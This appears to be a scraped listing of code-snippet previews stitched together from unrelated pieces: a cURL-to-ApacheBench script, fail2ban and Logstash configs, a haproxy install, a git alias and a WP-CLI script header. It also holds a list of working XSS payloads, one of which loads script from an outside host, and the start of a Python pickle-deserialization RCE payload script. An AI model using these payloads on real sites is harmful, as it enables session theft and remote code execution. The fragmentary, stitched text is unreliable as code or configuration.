Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)
First one found from of
| #!/usr/bin/env python3 | |
| import sys | |
| import os | |
| def curl_to_ab(curl_cmd: list, num: int=200, cur: int=4) -> str: | |
| """ | |
| Translate a cURL command created by Chrome's developer tools into a | |
| command for ``ab``, the ApacheBench HTTP benchmarking tool. |
| ... | |
| action_with_slack_notification = %(banaction)s[name=%(__name__)s, port="%(port)$ | |
| slack[name=%(__name__)s] | |
| action = %(action_with_slack_notification)s | |
| ... |
Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)
First one found from of
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
| git config --global alias.lola "log --graph --decorate --pretty=oneline --abbrev-commit --all" |
| # install haproxy | |
| yum install -y haproxy | |
| # config haproxy for rabbitmq | |
| cat > /etc/haproxy/haproxy.cfg << "EOF" | |
| global | |
| log 127.0.0.1 local0 notice | |
| maxconn 10000 | |
| user haproxy |
| input { | |
| file { | |
| path => ["/var/log/suricata/eve.json"] | |
| sincedb_path => ["/var/lib/logstash/since.db"] | |
| codec => json | |
| type => "SuricataIDPS" | |
| } | |
| } | |
| filter { |
| #!/bin/bash | |
| # This bash script works JUST with WP-CLI | |
| # You can get it from here: | |
| # http://wp-cli.org/ | |
| # | |
| # If you don't know what to do with this file: | |
| # | |
| # 1) Install wp-cli on your workspace | |
| # 2) Create a file call wpinstall.sh |
| #!/usr/bin/python | |
| # | |
| # Pickle deserialization RCE payload. | |
| # To be invoked with command to execute at it's first parameter. | |
| # Otherwise, the default one will be used. | |
| # | |
| import cPickle | |
| import sys | |
| import base64 |